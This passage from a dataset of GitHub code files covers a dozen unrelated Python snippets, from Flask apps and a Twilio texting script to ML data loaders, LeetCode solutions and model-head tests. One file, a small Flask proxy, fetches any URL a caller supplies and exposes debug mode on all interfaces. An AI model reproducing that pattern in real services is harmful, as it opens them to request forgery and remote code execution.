"call"}, {"api_name": "numpy.random", "line_number": 11, "usage_type": "attribute"}, {"api_name": "numpy.random.randn", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 12, "usage_type": "attribute"}, {"api_name": "numpy.random.randn", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 13, "usage_type": "attribute"}, {"api_name": "numpy.float32", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 16, "usage_type": "call"}, {"api_name": "pycuda.gpuarray.to_gpu", "line_number": 17, "usage_type": "call"}, {"api_name": "pycuda.gpuarray", "line_number": 17, "usage_type": "name"}, {"api_name": "skcuda.linalg.svd", "line_number": 19, "usage_type": "call"}, {"api_name": "skcuda.linalg", "line_number": 19, "usage_type": "name"}]}
{"seq_id": "70987203750", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport urllib2\nimport flask\n\ndef geturl (url):\n    handle = urllib2.urlopen(url)\n    buff = ''\n    while True:\n        chunk = handle.read(4096)\n        if not chunk:\n            break\n        buff += chunk\n\n    return buff\n\napp = flask.Flask(__name__)\n\n@app.route(\"/get\", methods=['GET'])\ndef get():\n    return geturl(flask.request.args['url'])\n\n@app.route(\"/\", methods=['GET'])\ndef index():\n    return 'Call 0.0.0.0:5000?url=<url you\\'d like to retreive>'\n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0', port=5000, debug=True)", "repo_name": "osp/osp.work.the-riddle", "sub_path": "html2print/proxy/proxy.py", "file_name": "proxy.py", "file_ext": "py", "file_size_in_byte": 589, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "urllib2.urlopen", "line_number": 8, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 18, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 22, "usage_type": "attribute"}]}
{"seq_id": "18925585666", "text": "import csv\nimport os\nfrom twilio.rest import Client #TwilioRestClient\nimport openpyxl\n\nAUTH_SID = '##########' # Twilio SID\nTEST_SID = '#########' # \n\nAUTH_TOKEN = '###########' # Twilio Token, --take out of public repo--\nTEST_TOKEN = '###########' # \n\ntest_mode = True\n\nif test_mode == False:\n    token = AUTH_TOKEN\n    sid = AUTH_SID\n    client = Client(sid, token)#TwilioRestClient(sid, token)\nelse:\n    token = TEST_TOKEN\n    sid = TEST_SID\n    #client = Client(sid, token)#TwilioRestClient(sid, token)\n\n\n\nwb = openpyxl.load_workbook(\"CTS_Employee_Numbers.xlsx\")\nshtNames = wb.sheetnames()\nsheet = wb['Test']\ncol = sheet['C']\nrowObj =tuple(sheet['A:C'])\n\n#how to go row by row, so I can access names with appropriate numbers?\n\nfor cell in col:\n    if test_mode == True:\n        print(shtNames)\n    elif test_mode == False:\n        if cell.value:\n            client.messages.create(\n                to = cell.value,\n                from_ = '+12057231125', # put your own Twilio phone number here\n                body = 'This is a Crown Technical Systems emergency text test')\n\n\n#Not sure where to put this\n#import PyQt5\n##def main():\n    #pass\n\n#if __name__ == \"__main__\":\n    #execute program\n    #main()\n", "repo_name": "JapandrewM/MassText-with-GUI", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1209, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "twilio.rest.Client", "line_number": 17, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 25, "usage_type": "call"}]}
{"seq_id": "74715660390", "text": "import csv, json\n\nabridged_data = []\n\nwith open('brazilstates.json','r') as file1:\n    data = file1.read()\n    brazil_data = json.loads(data)\n    states_data = brazil_data['data']\n\nfor index, state in enumerate(states_data):\n    if index != 0:\n        state_dict = {\n            'weight': int(state['latest'])\n        }\n        abridged_data.append(state_dict)\n\nwith open('brazilstatescoords.csv') as file2:\n    reader = csv.reader(file2, delimiter=',')\n    print(len(abridged_data))\n    for index, row in enumerate(reader):\n        if index != 0:\n            print(index)\n            abridged_data[index-1]['lat'] = float(str(row[1]).strip())\n            abridged_data[index-1]['lon'] = float(str(row[2]).strip())\n\nwith open('brazilStateDataCoords.json', 'w') as outfile:\n    outfile.write(json.dumps(abridged_data, indent=4, sort_keys=True, ensure_ascii=False))\n", "repo_name": "calvang/covid19-heatmap", "sub_path": "src/dataset/processBrazilShort.py", "file_name": "processBrazilShort.py", "file_ext": "py", "file_size_in_byte": 864, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "json.loads", "line_number": 7, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 18, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 27, "usage_type": "call"}]}
{"seq_id": "392252319", "text": "import torchvision\r\nfrom torchvision import transforms as T\r\nfrom torch.utils.data import DataLoader\r\nfrom torch.utils.tensorboard import SummaryWriter\r\n\r\ndataset_transform = T.Compose([\r\n    T.ToTensor(),\r\n    T.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))\r\n])\r\n\r\ntrain_set = torchvision.datasets.CIFAR10('./dataset', train=True, transform=dataset_transform, download=True)\r\ntest_set = torchvision.datasets.CIFAR10('./dataset', train=False, transform=dataset_transform, download=True)\r\n\r\ndata_loader = DataLoader(test_set, batch_size=64, shuffle=False, num_workers=0, drop_last=True)\r\nwriter = SummaryWriter('./log-3')\r\nfor epoch in range(2):\r\n    step = 0\r\n    for data in data_loader:\r\n        img, target = data\r\n        writer.add_images('test_set_{}'.format(epoch), img, step)\r\n        step = step + 1\r\n        # print(img.shape)\r\n        # print(target)\r\n\r\n#\r\n# for i in range(10):\r\n#     img, target = test_set[i]\r\n#     writer.add_image('test_set', test_set[i][0], i)\r\n\r\nwriter.close()\r\n# print(train_set)\r\n# print(train_set.classes)\r\n", "repo_name": "Yuqi-Miao/learn_pytorch", "sub_path": "study/6.py", "file_name": "6.py", "file_ext": "py", "file_size_in_byte": 1043, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torchvision.transforms.Compose", "line_number": 6, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 6, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 7, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 7, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 8, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 8, "usage_type": "name"}, {"api_name": "torchvision.datasets.CIFAR10", "line_number": 11, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 11, "usage_type": "attribute"}, {"api_name": "torchvision.datasets.CIFAR10", "line_number": 12, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 12, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 14, "usage_type": "call"}, {"api_name": "torch.utils.tensorboard.SummaryWriter", "line_number": 15, "usage_type": "call"}]}
{"seq_id": "26272513577", "text": "from django import forms\nfrom django.contrib import admin\nfrom django.contrib.auth.admin import UserAdmin\nfrom django.utils.translation import gettext_lazy as _\n\nfrom .models import ApplicantProfile, CustomUser\n\n\nclass ApplicantProfileForm(forms.ModelForm):\n    phone_number = forms.IntegerField(\n        required=False, widget=forms.TextInput(attrs={'type': 'number'}))\n\n    class Meta:\n        model = ApplicantProfile\n        fields = '__all__'\n        widgets = {\n            'years_experience': forms.NumberInput(attrs={'min': '0'}),\n        }\n\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        for field in self.fields.values():\n            field.required = False\n\n\nclass ApplicantProfileInline(admin.StackedInline):\n    model = ApplicantProfile\n    form = ApplicantProfileForm\n    can_delete = False\n\n\nclass CustomUserAdmin(UserAdmin):\n    inlines = [ApplicantProfileInline]\n    list_display = (\n        'email', 'full_name', 'phone_number', 'is_staff', 'is_company')\n    list_filter = ('is_staff', 'is_superuser')\n    fieldsets = (\n        (None, {'fields': ('email', 'password', 'phone_number')}),\n        ('Permissions', {'fields': ('is_active', 'is_staff', 'is_superuser')}),\n    )\n    add_fieldsets = (\n        (None, {\n            'classes': ('wide',),\n            'fields': ('email', 'password1', 'password2'),\n        }),\n    )\n    ordering = ('email',)\n    form = ApplicantProfileForm\n\n    def full_name(self, obj):\n        return (f'{obj.applicantprofile.first_name} '\n                f'{obj.applicantprofile.last_name}'\n                if not obj.is_company else f'{obj.companyprofile.name}')\n\n    full_name.short_description = _('Name')\n\n\nadmin.site.register(CustomUser, CustomUserAdmin)\n", "repo_name": "xbandrade/py-4djobz", "sub_path": "users/admin.py", "file_name": "admin.py", "file_ext": "py", "file_size_in_byte": 1748, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.forms.ModelForm", "line_number": 9, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 9, "usage_type": "name"}, {"api_name": "django.forms.IntegerField", "line_number": 10, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 10, "usage_type": "name"}, {"api_name": "django.forms.TextInput", "line_number": 11, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 11, "usage_type": "name"}, {"api_name": "models.ApplicantProfile", "line_number": 14, "usage_type": "name"}, {"api_name": "django.forms.NumberInput", "line_number": 17, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 17, "usage_type": "name"}, {"api_name": "django.contrib.admin.StackedInline", "line_number": 26, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 26, "usage_type": "name"}, {"api_name": "models.ApplicantProfile", "line_number": 27, "usage_type": "name"}, {"api_name": "django.contrib.auth.admin.UserAdmin", "line_number": 32, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 55, "usage_type": "call"}, {"api_name": "django.contrib.admin.site.register", "line_number": 58, "usage_type": "call"}, {"api_name": "models.CustomUser", "line_number": 58, "usage_type": "argument"}, {"api_name": "django.contrib.admin.site", "line_number": 58, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 58, "usage_type": "name"}]}
{"seq_id": "40689732670", "text": "from flask import Flask, render_template, request\n\napp = Flask(__name__, template_folder = 'templates')\n\n@app.route(\"/\")\ndef index():\n    return render_template(\"index.html\")\n\n@app.route(\"/hello\", methods=[\"GET\",\"POST\"])\n# This page can only be accessed after post.\ndef hello():\n    if request.method == \"GET\":\n        return \"Please submit the form first.\"\n    else:\n        name = request.form.get(\"name\")\n        return render_template(\"hello.html\", name=name)\n", "repo_name": "bipinbohara/WEB", "sub_path": "Flask/forms/application.py", "file_name": "application.py", "file_ext": "py", "file_size_in_byte": 464, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.Flask", "line_number": 3, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 7, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 12, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 12, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 15, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 15, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 15, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 16, "usage_type": "call"}]}
{"seq_id": "9075182361", "text": "import logging\nfrom event_matchs import EventMatchs\nfrom models.pos_models import PosReceiptEvent\nfrom helpers.datadog_helper import DatadogHelper\nfrom helpers.lambda_helper import LambdaHelper\n\nmatcher = EventMatchs()\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\n\ndef function_handler(event, _):\n    print(event)\n    \n    try:\n        pos_event = PosReceiptEvent(**event)\n        \n        # submit a custom metric\n        DatadogHelper.send_event_metric(pos_event)\n\n        matches = matcher.match(pos_event)\n\n        if matcher.match_with_transaction(matches):\n            transaction = matches.get(\"transaction\")\n            receipt = matches.get(\"receipt\")\n            \n            # Execute pos accrual async\n            LambdaHelper.execute_accrual_pos_async(transaction, receipt)\n            logger.info(\"Accrual started\")\n\n        return {\"status_code\": 200}\n\n    except Exception as ex:\n        logger.error(repr(ex))\n\n\n", "repo_name": "collicesar/poc-sbo2premia", "sub_path": "lambdas/pos-receipt-event/handler.py", "file_name": "handler.py", "file_ext": "py", "file_size_in_byte": 943, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "event_matchs.EventMatchs", "line_number": 7, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 8, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 9, "usage_type": "attribute"}, {"api_name": "models.pos_models.PosReceiptEvent", "line_number": 15, "usage_type": "call"}, {"api_name": "helpers.datadog_helper.DatadogHelper.send_event_metric", "line_number": 18, "usage_type": "call"}, {"api_name": "helpers.datadog_helper.DatadogHelper", "line_number": 18, "usage_type": "name"}, {"api_name": "helpers.lambda_helper.LambdaHelper.execute_accrual_pos_async", "line_number": 27, "usage_type": "call"}, {"api_name": "helpers.lambda_helper.LambdaHelper", "line_number": 27, "usage_type": "name"}]}
{"seq_id": "6644702619", "text": "import os\nfrom random import randint\n\nimport telebot\n\nbot = telebot.TeleBot(os.environ[\"BOT_TOKEN\"])\n\n\n@bot.message_handler(commands=[\"start\", \"help\"])\ndef send_welcome(message):\n    return bot.reply_to(\n        message,\n        \"Напишите мне размеры картинки через пробел\\n\"\n        \"Числа должны быть натуральными, не больше 5000\\n\"\n        \"Например, 2000 2000\",\n    )\n\n\n@bot.message_handler(func=lambda message: True)\ndef echo_all(message):\n    try:\n        sizes = message.text.split()\n        if len(sizes) != 2:\n            raise IndexError\n        int(sizes[0].isdecimal())\n        int(sizes[1].isdecimal())\n        if not (0 < int(sizes[0]) <= 5000 and 0 < int(sizes[1]) <= 5000):\n            raise ValueError\n        address = (\n            \"https://picsum.photos/\"\n            + sizes[0]\n            + \"/\"\n            + sizes[1]\n            + \"?random=\"\n            + str(randint(1, 1000))\n        )\n        return bot.send_photo(message.chat.id, address)\n    except IndexError:\n        return bot.reply_to(message, \"Неправильный формат. Введите ДВА числа\")\n    except SyntaxError:\n        return bot.reply_to(message, \"Неправильный формат. Введите два ЧИСЛА\")\n    except ValueError:\n        return bot.reply_to(\n            message,\n            \"Неправильный формат. Введите два натуральных числа из отрезка [1; 5000]\",\n        )\n\n\nbot.infinity_polling()\n", "repo_name": "fmgoncharov/PhaseWatch", "sub_path": "phase_watch_bot.py", "file_name": "phase_watch_bot.py", "file_ext": "py", "file_size_in_byte": 1566, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "telebot.TeleBot", "line_number": 6, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 6, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 35, "usage_type": "call"}]}
{"seq_id": "11343896082", "text": "'''\nGiven a binary tree, return the vertical order traversal of its nodes' values. (ie, from top to bottom, column by column).\n\nIf two nodes are in the same row and column, the order should be from left to right.\n\nExamples 1:\n\nInput: [3,9,20,null,null,15,7]\n\n   3\n  /\\\n /  \\\n 9  20\n    /\\\n   /  \\\n  15   7\n\nOutput:\n\n[\n  [9],\n  [3,15],\n  [20],\n  [7]\n]\nExamples 2:\n\nInput: [3,9,8,4,0,1,7]\n\n     3\n    /\\\n   /  \\\n   9   8\n  /\\  /\\\n /  \\/  \\\n 4  01   7\n\nOutput:\n\n[\n  [4],\n  [9],\n  [3,0,1],\n  [8],\n  [7]\n]\nExamples 3:\n\nInput: [3,9,8,4,0,1,7,null,null,null,2,5] (0's right child is 2 and 1's left child is 5)\n\n     3\n    /\\\n   /  \\\n   9   8\n  /\\  /\\\n /  \\/  \\\n 4  01   7\n    /\\\n   /  \\\n   5   2\n\nOutput:\n\n[\n  [4],\n  [9,5],\n  [3,0,1],\n  [8,2],\n  [7]\n]\n\n'''\n\n\n# Definition for a binary tree node.\nclass TreeNode:\n\tdef __init__(self, x):\n\t\tself.val = x\n\t\tself.left = None\n\t\tself.right = None\n\n\nfrom collections import deque\n\nclass Solution:\n\tdef verticalOrder(self, root):\n\n\t\tif not root:\n\t\t\treturn []\n\n\t\tfrontier = deque([(root, 0)])\n\t\tres = [[root.val]]\n\t\tset_idx = set()\n\t\tset_idx.add(0)\n\t\tnum_expand_left = 0\n\n\t\twhile frontier:\n\n\t\t\texpand, idx = frontier.popleft()\n\n\t\t\tfor kid, idx in [(expand.left, idx - 1), (expand.right, idx + 1)]:\n\t\t\t\tif kid:\n\t\t\t\t\tif idx not in set_idx:\n\t\t\t\t\t\tif idx < 0:\n\t\t\t\t\t\t\tres.insert(0, [kid.val])\n\t\t\t\t\t\t\tnum_expand_left += 1\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tres.append([kid.val])\n\t\t\t\t\t\tset_idx.add(idx)\n\t\t\t\t\telse:\n\t\t\t\t\t\tres[idx + num_expand_left].append(kid.val)\n\n\t\t\t\t\tfrontier.append((kid, idx))\n\t\treturn res\n\n\tdef verticalOrderDFS(self, root):\n\t\t\"\"\"\n\t\t:type root: TreeNode\n\t\t:rtype: List[List[int]]\n\t\t\"\"\"\n\n\t\tdef helper(root):\n\n\t\t\tif not root:\n\t\t\t\treturn [], -1\n\n\t\t\tres = []\n\n\t\t\tleft_vertical, left_pos = helper(root.left)\n\t\t\tright_vertical, right_pos = helper(root.right)\n\n\t\t\tprint(root.val, left_vertical, right_vertical)\n\t\t\t# left part\n\t\t\ti, j = left_pos, right_pos - 2\n\n\t\t\tres.append([root.val])\n\t\t\tif left_pos + 1 < len(left_vertical):\n\t\t\t\tres[0].extend(left_vertical[left_pos + 1])\n\t\t\tif right_pos - 1 >= 0:\n\t\t\t\tres[0].extend(right_vertical[right_pos - 1])\n\n\t\t\twhile len(left_vertical) > i >= 0 or len(right_vertical) > j >= 0:\n\n\t\t\t\tif i >= 0 and j >= 0:\n\t\t\t\t\tres.append(left_vertical[i] + right_vertical[j])\n\t\t\t\telif i >= 0 and j < 0:\n\t\t\t\t\tres.append(left_vertical[i])\n\t\t\t\telif i < 0 and j >= 0:\n\t\t\t\t\tres.append(right_vertical[j])\n\n\t\t\t\ti -= 1\n\t\t\t\tj -= 1\n\n\t\t\tres = res[::-1]\n\n\t\t\troot_pos = len(res) - 1\n\n\t\t\ti, j = left_pos + 2, right_pos\n\t\t\tprint(root.val, i, len(left_vertical), j, len(right_vertical))\n\n\t\t\twhile 0 <= i < len(left_vertical) or 0 <= j < len(right_vertical):\n\n\t\t\t\tif 0 <= i < len(left_vertical) and 0 <= j < len(right_vertical):\n\t\t\t\t\tres.append(right_vertical[j] + left_vertical[i])\n\t\t\t\telif i >= len(left_vertical) or i < 0 and j < len(right_vertical):\n\t\t\t\t\tres.append(right_vertical[j])\n\t\t\t\telif i < len(left_vertical) and j >= len(right_vertical) or j < 0:\n\t\t\t\t\tprint(root.val, left_vertical[i])\n\t\t\t\t\tres.append(left_vertical[i])\n\n\t\t\t\ti += 1\n\t\t\t\tj += 1\n\t\t\treturn res, root_pos\n\n\t\tresult, _ = helper(root)\n\t\treturn result\n\n\nroot = TreeNode(6)\nroot.left = TreeNode(1)\nroot.left.right = TreeNode(3)\nroot.left.right.left = TreeNode(2)\nroot.left.right.right = TreeNode(5)\nroot.left.right.right.left = TreeNode(4)\n\nres = Solution().verticalOrder(root)\nprint(res)\n\nclass Solution2:\n\n\tdef verticalOrder(self, root):\n\t\tfrom collections import defaultdict\n\n\t\tcols = collections.defaultdict(list)\n\t\tqueue = [(root, 0)]\n\t\tfor node, i in queue:\n\t\t\tif node:\n\t\t\t\tcols[i].append(node.val)\n\t\t\t\tqueue += (node.left, i - 1), (node.right, i + 1)\n\t\treturn [cols[i] for i in sorted(cols)]", "repo_name": "chutianwen/LeetCodes", "sub_path": "LeetCodes/facebook/BinaryTreeVerticalOrderTraversal.py", "file_name": "BinaryTreeVerticalOrderTraversal.py", "file_ext": "py", "file_size_in_byte": 3602, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "collections.deque", "line_number": 91, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 194, "usage_type": "call"}]}
{"seq_id": "26976045414", "text": "from typing import List\n\nimport numpy as np\nimport pandas as pd\nfrom sklearn.model_selection import GroupKFold\nfrom tqdm import tqdm\nfrom vivid.featureset.atoms import AbstractAtom\n\n\nclass TargetEncodingAtom(AbstractAtom):\n    n_fold = 10\n\n    def __init__(self, use_columns: List[str]):\n        super(TargetEncodingAtom, self).__init__()\n\n        self.mapping_df_ = None\n        self.use_columns = use_columns\n\n    def create_mapping(self, input_df, y):\n        self.mapping_df_ = {}\n        fold = GroupKFold(self.n_fold)\n        out_df = pd.DataFrame()\n\n        for col_name in tqdm(self.use_columns, total=len(self.use_columns)):\n            keys = input_df[col_name].unique()\n            target = input_df['age']\n            values = input_df[col_name]\n\n            oof = np.zeros_like(values, dtype=np.float)\n            mapping_df = None\n\n            for idx_train, idx_valid in fold.split(input_df, None, groups=input_df['user_id'].values):\n                _df = target[idx_train].groupby(values[idx_train]).mean()\n                _df = _df.reindex(keys)\n                _df = _df.fillna(_df.median())\n                oof[idx_valid] = input_df[col_name][idx_valid].map(_df.to_dict())\n\n                if mapping_df is None:\n                    mapping_df = _df\n                else:\n                    mapping_df = mapping_df + _df\n\n            out_df[col_name] = oof\n\n            self.mapping_df_[col_name] = mapping_df / self.n_fold\n\n        return self.mapping_df_, out_df\n\n    def call(self, input_df, y=None):\n        if y is None:\n            out_df = self._predict(input_df)\n        else:\n            mapping, out_df = self.create_mapping(input_df, y)\n            self.mapping_df_ = mapping\n\n        return out_df.add_prefix('TE_')\n\n    def _predict(self, input_df):\n        if self.mapping_df_ is None:\n            raise ValueError('Must Learn before predict')\n\n        out_df = pd.DataFrame()\n\n        for c in self.use_columns:\n            out_df[c] = input_df[c].map(self.mapping_df_[c])\n        return out_df\n", "repo_name": "nyk510/kaggle-days-tokyo-2019", "sub_path": "kaggle_days/atoms/encoding.py", "file_name": "encoding.py", "file_ext": "py", "file_size_in_byte": 2030, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "71", "api": [{"api_name": "vivid.featureset.atoms.AbstractAtom", "line_number": 10, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 13, "usage_type": "name"}, {"api_name": "sklearn.model_selection.GroupKFold", "line_number": 21, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 22, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.float", "line_number": 29, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 62, "usage_type": "call"}]}
{"seq_id": "39191278925", "text": "__package__ = \"tica\"\n__author__ = 'Michael Fausnaugh'\n\nimport logging\nimport platform\nimport locale\nimport sys\nimport os.path\n\nfstem = os.path.abspath(os.path.dirname(__file__) + '/../')\nwith open(os.path.join(fstem, 'VERSION'),'r') as infile:\n    version = infile.read()\n\ndef platform_info():\n    lines = []\n    lines.append('TICA version: {}'.format(version) )\n    lines.append('Python version: {}'.format( sys.version.replace('\\n', ' ') ))\n    lines.append('Host: {}'.format( platform.node() ) )\n    lines.append('Platform: {}'.format( platform.platform()) )\n    lines.append('Locale: {}'.format( locale.setlocale(locale.LC_ALL)) )\n    return lines\n\ndef setup_logging(debug=False, filename=None):\n    \"\"\"Provide a sane set of defaults for logging.\"\"\"\n    level = logging.DEBUG if debug else logging.INFO\n    if filename is None:\n        filename = '-'\n    if filename == '-':\n        hand = logging.StreamHandler()\n    else:\n        hand = logging.FileHandler(filename)\n    root_logger = logging.getLogger()\n\n    fmt = '%(asctime)s %(levelname)s %(funcName)s: %(message)s' if level == logging.DEBUG else '%(asctime)s %(message)s'\n    datefmt = '%Y.%m.%d %H:%M:%S'\n    hand.setFormatter(logging.Formatter(fmt, datefmt))\n\n    root_logger.setLevel(level)\n    root_logger.handlers = []\n    root_logger.addHandler(hand)\n\n    for line in platform_info():\n        logging.debug(line)\n", "repo_name": "mmfausnaugh/tica", "sub_path": "tica/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 1380, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.path.abspath", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 10, "usage_type": "name"}, {"api_name": "os.path.path.dirname", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path.path.join", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 11, "usage_type": "name"}, {"api_name": "sys.version.replace", "line_number": 17, "usage_type": "call"}, {"api_name": "sys.version", "line_number": 17, "usage_type": "attribute"}, {"api_name": "platform.node", "line_number": 18, "usage_type": "call"}, {"api_name": "platform.platform", "line_number": 19, "usage_type": "call"}, {"api_name": "locale.setlocale", "line_number": 20, "usage_type": "call"}, {"api_name": "locale.LC_ALL", "line_number": 20, "usage_type": "attribute"}, {"api_name": "logging.DEBUG", "line_number": 25, "usage_type": "attribute"}, {"api_name": "logging.INFO", "line_number": 25, "usage_type": "attribute"}, {"api_name": "logging.StreamHandler", "line_number": 29, "usage_type": "call"}, {"api_name": "logging.FileHandler", "line_number": 31, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 32, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 34, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 36, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 43, "usage_type": "call"}]}
{"seq_id": "71397890150", "text": "import torch\n\nfrom mmselfsup.models.heads import (ClsHead, ContrastiveHead, LatentClsHead,\n                                    LatentPredictHead, MultiClsHead, SwAVHead)\n\n\ndef test_cls_head():\n    # test ClsHead\n    head = ClsHead()\n    fake_cls_score = [torch.rand(4, 3)]\n    fake_gt_label = torch.randint(0, 2, (4, ))\n\n    loss = head.loss(fake_cls_score, fake_gt_label)\n    assert loss['loss'].item() > 0\n\n\ndef test_contrastive_head():\n    head = ContrastiveHead()\n    fake_pos = torch.rand(32, 1)  # N, 1\n    fake_neg = torch.rand(32, 100)  # N, k\n\n    loss = head.forward(fake_pos, fake_neg)\n    assert loss['loss'].item() > 0\n\n\ndef test_latent_predict_head():\n    predictor = dict(\n        type='NonLinearNeck',\n        in_channels=64,\n        hid_channels=128,\n        out_channels=64,\n        with_bias=True,\n        with_last_bn=True,\n        with_avg_pool=False,\n        norm_cfg=dict(type='BN1d'))\n    head = LatentPredictHead(predictor=predictor)\n    fake_input = torch.rand(32, 64)  # N, C\n    fake_traget = torch.rand(32, 64)  # N, C\n\n    loss = head.forward(fake_input, fake_traget)\n    assert loss['loss'].item() > -1\n\n\ndef test_latent_cls_head():\n    head = LatentClsHead(64, 10)\n    fake_input = torch.rand(32, 64)  # N, C\n    fake_traget = torch.rand(32, 64)  # N, C\n\n    loss = head.forward(fake_input, fake_traget)\n    assert loss['loss'].item() > 0\n\n\ndef test_multi_cls_head():\n    head = MultiClsHead(in_indices=(0, 1))\n    fake_input = [torch.rand(8, 64, 5, 5), torch.rand(8, 256, 14, 14)]\n    out = head.forward(fake_input)\n    assert isinstance(out, list)\n\n    fake_cls_score = [torch.rand(4, 3)]\n    fake_gt_label = torch.randint(0, 2, (4, ))\n\n    loss = head.loss(fake_cls_score, fake_gt_label)\n    print(loss.keys())\n    for k in loss.keys():\n        if 'loss' in k:\n            assert loss[k].item() > 0\n\n\ndef test_swav_head():\n    head = SwAVHead(feat_dim=128, num_crops=[2, 6])\n    fake_input = torch.rand(32, 128)  # N, C\n\n    loss = head.forward(fake_input)\n    assert loss['loss'].item() > 0\n", "repo_name": "cliangyu/CSVAL", "sub_path": "selection/tests/test_models/test_heads.py", "file_name": "test_heads.py", "file_ext": "py", "file_size_in_byte": 2027, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 30, "dataset": "github-code", "pt": "71", "api": [{"api_name": "mmselfsup.models.heads.ClsHead", "line_number": 9, "usage_type": "call"}, {"api_name": "torch.rand", "line_number": 10, "usage_type": "call"}, {"api_name": "torch.randint", "line_number": 11, "usage_type": "call"}, {"api_name": "mmselfsup.models.heads.ContrastiveHead", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.rand", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.rand", "line_number": 20, "usage_type": "call"}, {"api_name": "mmselfsup.models.heads.LatentPredictHead", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.rand", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.rand", "line_number": 38, "usage_type": "call"}, {"api_name": "mmselfsup.models.heads.LatentClsHead", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.rand", "line_number": 46, "usage_type": "call"}, {"api_name": "torch.rand", "line_number": 47, "usage_type": "call"}, {"api_name": "mmselfsup.models.heads.MultiClsHead", "line_number": 54, "usage_type": "call"}, {"api_name": "torch.rand", "line_number": 55, "usage_type": "call"}, {"api_name": "torch.rand", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.randint", "line_number": 60, "usage_type": "call"}, {"api_name": "mmselfsup.models.heads.SwAVHead", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.rand", "line_number": 71, "usage_type": "call"}]}
